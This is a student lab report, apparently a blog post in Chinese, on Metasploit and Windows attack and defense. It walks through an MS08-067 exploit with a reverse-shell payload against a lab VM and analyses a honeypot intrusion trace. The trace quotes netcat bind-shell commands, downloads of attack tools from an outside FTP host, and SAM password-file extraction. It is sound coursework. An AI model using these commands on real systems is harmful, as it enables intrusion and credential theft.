20212907 2021-2022-2 《网络攻防实践》实践六报告

一.实践内容

1.Metasploit是一款开源的安全漏洞检测工具,可以帮助安全和IT专业人士识别安全性问题,验证漏洞的缓解措施,并管理专家驱动的安全性进行评估,提供真正的安全风险情报。这些功能包括智能开发,代码审计,Web应用程序扫描,社会工程。团队合作,在Metasploit和综合报告提出了他们的发现。他附带数百个已知的软件漏洞,并保持频繁更新。被安全社区冠以“可以黑掉整个宇宙”之名的强大渗透测试框架。
·渗透攻击(Exploit),指由攻击者或渗透测试者利用一个系统、应用或服务中的安全漏洞,所进行的攻击行为。
·攻击载荷(Payload),是我们期望目标系统在被渗透攻击之后去执行的代码。
·Shellcode,是在渗透攻击是作为攻击载荷运行的一组机器指令,通常用汇编语言编写。
·模块(Module),指Metasploit框架中所使用的一段软件代码组件,可用于发起渗透攻击或执行某些辅助攻击动作。
·监听器(Listener),是Metasploit中用来等待网络连接的组件。
2.data:包含metasploit用于存储某些漏洞、单词列表、图像等所需二进制文件的可编辑文件。
documentation:包含框架的可用文档。
lib:metasploit的库文件夹。
plugins:用来存放metasploit的插件。
scripts:用来存放metasploit的脚本,包括meterpreter及其它脚本。
tools:存放多种的命令行实用程序。
modules:存储metasploit的模块文件。

modules目录
auxiliary:辅助模块,辅助渗透(端口扫描、登录密码爆破、漏洞验证等)
exploits:漏洞利用模块,包含主流的漏洞利用脚本,通常是对某些可能存在漏洞的目标进行漏洞利用。命名规则:
操作系统/各种应用协议分类
payloads:攻击载荷,主要是攻击成功后在目标机器执行的代码,比如反弹shell的代码
post:后渗透阶段模块,漏洞利用成功获得meterpreter之后,向目标发送的一些功能性指令,如:提权等
encoders:编码器模块,主要包含各种编码工具,对payload进行编码加密,以便绕过入侵检测和过滤系统
evasion:躲避模块,用来生成免杀payload
nops:由于IDS/IPS会检查数据包中不规则的数据,在某些情况下,比如针对溢出攻击,某些特殊滑行字符串(NOPSx90x90…)则会因为被拦截而导致攻击失效

3.MS08-067漏洞是通过MSRPC over SMB通道调用Server服务程序中的NetPathCanonicalize函数时触发的,而NetPathCanonicalize函数在远程访问其他主机时,会调用NetpwPathCanonicalize函数,对远程访问的路径进行规范化,而在NetpwPathCanonicalize函数中存在的逻辑错误,造成栈缓冲区可被溢出,而获得远程代码执行(Remote Code Execution)。
MS08-067漏洞将会影响除Windows Server 2008 Core以外的所有Windows系统,包括:Windows 2000/XP/Server 2003/Vista/Server 2008的各个版本,甚至还包括测试阶段的Windows 7 Pro-Beta。

4.windows远程安全攻防技术
windows的远程攻击可以大致分为:
·远程口令猜测和破解攻击
·攻击windows网络服务:无论是互联网的服务还是windows特有的服务,都有着可以导致远程代码执行的漏洞。
·攻击windows客户端和用户

针对特定目标的渗透测试攻击过程:
·漏洞扫描测试:通过对目标系统的扫描测试,来发现系统中是否存在已知的安全漏洞。
·查找渗透代码:在安全社区中找到针对已经扫描出的安全漏洞的攻击代码资源。
·实施参透测试:在找到代码之后就可以进行渗透攻击。但是是否成功取决于代码和目标的环境是否匹配。渗透测试者需要充分了解攻击目标的操作系统的各种信息。

使用metasploit实施渗透测试:
metasploit以MSF库为软件的核心,其中模块是实施攻击的代码。模块有:exploits模块负责利用安全漏洞;auxiliary模块负责扫描和查点;payload模块负责在目标系统植入shellcode(利用软件漏洞而执行的代码);encoders模块负责躲避检测;nops负责对攻击负载进行填充。

远程口令猜测与破解:
·远程口令猜测:windows通过“基于服务消息快”SMB协议来为用户提供远程访问文件系统。SMB也就成了攻击者实施windows口令猜测的攻击渠道。
·远程口令字交换通讯窃听与破解:windows在对网络用户身份进行验证的时候需要通讯,使得存在着窃听的风险。
·防范措施:尽量关闭不必要的网络服务;配置防火墙来限制相关端口的服务或者源IP或者限制访问;保持windows更新来修补漏洞。

5.windows本地安全攻防
·windows本地提权:在攻击者获得了widows的一定的权限之后,他们会尝试获得最高的权限。本地提权攻击都是利用系统的各种漏洞,所以针对本地提权攻击,最好的办法就是即使打好各种补丁。
·Windows敏感信息窃取:Windows系统口令字密文提取:在攻入windows之后,攻击者就有可能获得关键信息的密文文件。

·windows系统口令字破解:在获得密文文件之后,自然就是要对密文进行解密。
·windows消灭踪迹:在攻击者获取了权限,或者获得了想要的信息之后,他们会想办法擦干净脚印,让用户不知道自己已经被攻破。
·关闭审计功能:Windows resource kit工具包里的auditpol程序可以让攻击者关闭审计功能。在攻击完成之后,又会重新打开审计功能。
·清理日志:如果攻击过程已经被日志记录下来,那么攻击者就会对日志里的有关自己入侵的信息清理掉。
·防范措施:将日志记录到不可擦写的CDROM中,或者通过网络传输出去。
·windows远程控制与后门程序:
在攻击者完成了攻击之后,他们为了方便下一次的攻击,会在系统中植入远程控制和后门程序。
·防范措施:用一些检测软件来发现后门程序。

二.实践过程

(1)动手实践Metasploit windows attacker
任务:使用metasploit软件进行windows远程渗透统计实验
具体任务内容:使用windows Attacker/BT4攻击机尝试对windows Metasploitable靶机上的MS08-067漏洞进行远程渗透攻击,获取目标主机的访问权

  • 实验环境
    kali(做攻击机):192.168.1.110
    win2kserver(做靶机):192.168.1.107

  • 在攻击机kali中输入命令msfconsole进入Metasploit

  • kali中输入命令search ms08-067,查找ms08_067漏洞相关信息,可以得到针对该漏洞的渗透攻击模块。再执行命令:use exploit/windows/smb/ms08_067_netapi。表示我们将攻击的漏洞

  • 输入show options查看攻击此漏洞需要的设置

  • 选择攻击负载模块,使用show payloads命令列举出所有适用的负载模块,包括:远程Shell、执行命令、添加用户、上传并执行程序、下载并执行程序、VNC远程控制等。
    show payloads会显示出有效的攻击载荷,依此选择攻击负载模块,payload是黑客用来与被黑的系统交互的简单脚本。 使用payload,可以将数据传输到已经沦陷的系统。看到列出的payload可以能帮助我们上传/执行文件。如下图

  • 执行命令:set PAYLOAD generic/shell_reverse_tcp,打开反向连接

  • 选择第三个载荷进行攻击,按照靶机RHOST,攻击机LHOST的原则配置IP。输入命令set RHOST 192.168.1.107设置要攻击的IP,输入命令set LHOET 192.168.1.110设置攻击机。

  • 使用命令show options再次查看payload状态

  • 设置目标操作系统平台类型,set TARGET 0,代表自动匹配

  • 输入命令exploit进行攻击,出现会话连接即攻击成功

  • 输入ipconfig/all命令查看靶机的IP等设置,由此渗透攻击成功,查询到了靶机的IP。在win2000上执行同样的命令,与攻击机结果对比,得到攻击成功的验证

(2)取证分析实践:解码一次成功的NT系统破解攻击
来自212.116.251.162的攻击者成功攻陷了一台由rfp部署的蜜罐主机172.16.1.106,(主机名为lab.wiretrip.net),要求提取并分析攻击的全部过程。并回答以下问题

1)攻击者使用了什么破解工具进行攻击?

  • 用Wireshark打开包snort-0204@0117.log文件。根据题目筛选ip.addr == 213.116.251.162 && ip.addr == 172.16.1.106,可以发现攻击者进行了以下破解工具攻击:
    进行了HTTP访问,在此可看到客户端的操作系统等。

  • 找到编号117,发现攻击者打开了 boot.ini (系统启动文件),经网络查询可知这部分是Unicode编码攻击

  • 观察到编号130和编号140中含有msadc,这是进行探测的过程,msadcs.dll文件是一个远程数据访问服务的文件,该文件中有RDS漏洞,可以导致攻击者远程执行用户系统的命令并运行。查询资料得知这是一次基于MSADCS RDS的漏洞攻击。

  • 以ip.addr==172.16.1.106 and tcp过滤,打开第382文件的TCP数据流,根据特征字符串“!ADM!ROX!YOUR!WORLD!”和查询语句可知这次攻击应该是由msadc2.pl攻击工具发起的,可以证明这是RDS漏洞渗透攻击,同时也给出了具体的使用参数perl msacs2.pl -h www.victim.com

2)攻击者如何使用这个破解工具进入并控制了系统?

  • 跟踪第313文件FTP连接的TCP数据流,这个连接由于口令错误导致连接失败,说明这次攻击是一个失败的攻击

  • 跟踪第1107文件FTP连接TCP数据流,看到攻击者通过FTP脚本使用FTP连接www.nether.net,用户名为johna2k,密码为haxedj00,下载 nc.exe、pdump.exe和samdump.dll。

攻击者首先创建了一个ftpcom脚本,并使用 ftp连接www.nether.net(给出了用户名密码),尝试下载 samdump.dll、pdump.exe和nc.exe(攻击工具)。继续按流往下找之后出现了ftp的连接,目标IP为204.42.253.18。

直接筛选ftp找到“logged in”的数据包,编号1106。从这个ftp往前找信息,发现攻击者也是进行了Unicode漏洞攻击,下载了一些文件。
跟踪第1224文件TCP数据流,攻击者执行了命令cmd1.exe /c nc -l -p 6969 -e cmd1.exe,表示攻击者连接了6969端口,并且获得了访问权限。

3)攻击者获得系统访问权限后做了什么?

  • 随着攻击者攻击的端口,我们筛选tcp.port == 6969,追踪TCP流,可看攻击者通过这个端口进入后执行了一些命令。

  • 追踪连接的tcp流,可以看到攻击者修改各种文件,并通过pdump、samdump、net命令、rdisk命令等提权为管理员,最后还删除了ftpcom文件等痕迹。

攻击者尝试查看一些用户信息,执行了net session(列出会话),无权限。
攻击者发送了一个echo消息到C盘根目录文件README.NOW.Hax0r。
攻击者尝试通过net group查看组用户、net locagroup查看本地组用户、以及net group domain admins查看所有域管理员列表。都无权限

  • 攻击者使用SQl注入在靶机系统目录下生成一个文件

  • 攻击者放弃了pdump提取Administrator口令密文并删除了samdump和pdump。使用rdisk尝试获得SAM口令文件(安全账号管理器),rdisk是磁盘修复程序,执行rdisk /s-(攻击者输了多次才找到正确的)备份关键系统信息,在/repair目录中就会创建一个名为sam._的SAM压缩拷贝。并且攻击者把这个文件拷贝到har.txt并打印。

  • 攻击者主动退出了端口6969,执行了命令nc -l -p 6968 -e cmd1.exe,重新建立了一个端口6968,进行了unicode攻击。筛选这个端口,攻击者将SAM文件拷贝到IIS的根目录inetpub,之后尝试删除这个文件失败。后来攻击者重新建立了端口,建立了一个test.txt文件,最后进行了痕迹清除。

4)我们如何防止这样的攻击?
这个攻击事件中被利用的两个漏洞为RDS和Unicode漏洞,因此要针对这两个漏洞进行防范。比如及时查看修补漏洞,对漏洞打上相应的补丁;禁用用不着的 RDS 等服务;防火墙封禁网络内部服务器发起的连接;为 web server 在单独的文件卷上设置虚拟根目录;使用 NTFS 文件系统,因为 FAT 几乎不提供安全功能;使用 IIS Lockdown 和 URLScan 等工具加强 web server。

5)你觉得攻击者是否警觉了他的目标是一台蜜罐主机?如果是,为什么?
是的,攻击者留下了信息。追踪TCP流,攻击者建立了一个文件,并输入“C:>echo best honeypot i've seen till now :) > rfp.txt.”可以得知攻击者已经警觉他的目标是一台蜜罐主机(还留了个微笑,有点意思)。

(3)团队对抗实践:windows系统远程渗透攻击和分析。
攻方使用metasploit选择漏洞进行攻击,获得控制权。(要求写出攻击方的同学信息、使用漏洞、相关IP地址等)
防守方使用wireshark监听获得的网络数据包,分析攻击过程,获取相关信息。

  • 实验环境
    kali(攻击机):192.168.1.110
    Win2kserver(靶机):192.168.1.107

  • 对靶机上的MS08-067漏洞进行远程渗透攻击。重复实践1,使用攻击命令exploit的内容
    打开wireshark,使用攻击命令exploit

  • 看到攻击机ip地址192.168.1.110,端口445,靶机ip地址192.168.1.107,端口44609等信息

  • 攻击发起时间,从第一个ARP请求开始。建立连接后,我们发现攻击机向靶机发了许多SMB协议包。

  • MS08-067漏洞是通过MSRPC over SMB通道调用Server服务程序中的NetPathCanonicalize函数时触发的,可以推断出是利用这个漏洞进行攻击。在kali输入ipconfig/all,显示如下。

通过上述攻击过程,攻方使用metasploit选择漏洞进行攻击,获得控制权,获得了靶机的相关信息,而防守方使用wireshark监听获得的网络数据包,分析了相关攻击过程。

三.学习中遇到的问题及解决

  • 问题1:在抓包过程中,不能很好的分析数据。
  • 问题1解决方案:重启虚拟机以后,重新进行了相关实验命令操作,就取得了顺利的结果。

四.实践总结

通过本次实验,让我意识到不断更新漏洞补丁的重要性和意义。以后会加强信息安全意识,保护自己的计算机不被攻击。除此之外,就是需要不断地对网络安全知识进行学习、巩固和完善,因为现在技术不断变化和进步,稍不注意就有被攻击的风险。还有就是一定要注意自己的系统权限,这个是很多攻击成功与否的关键所在。

posted @ 2022-04-18 18:29  白桃令  阅读(147)  评论(0编辑  收藏  举报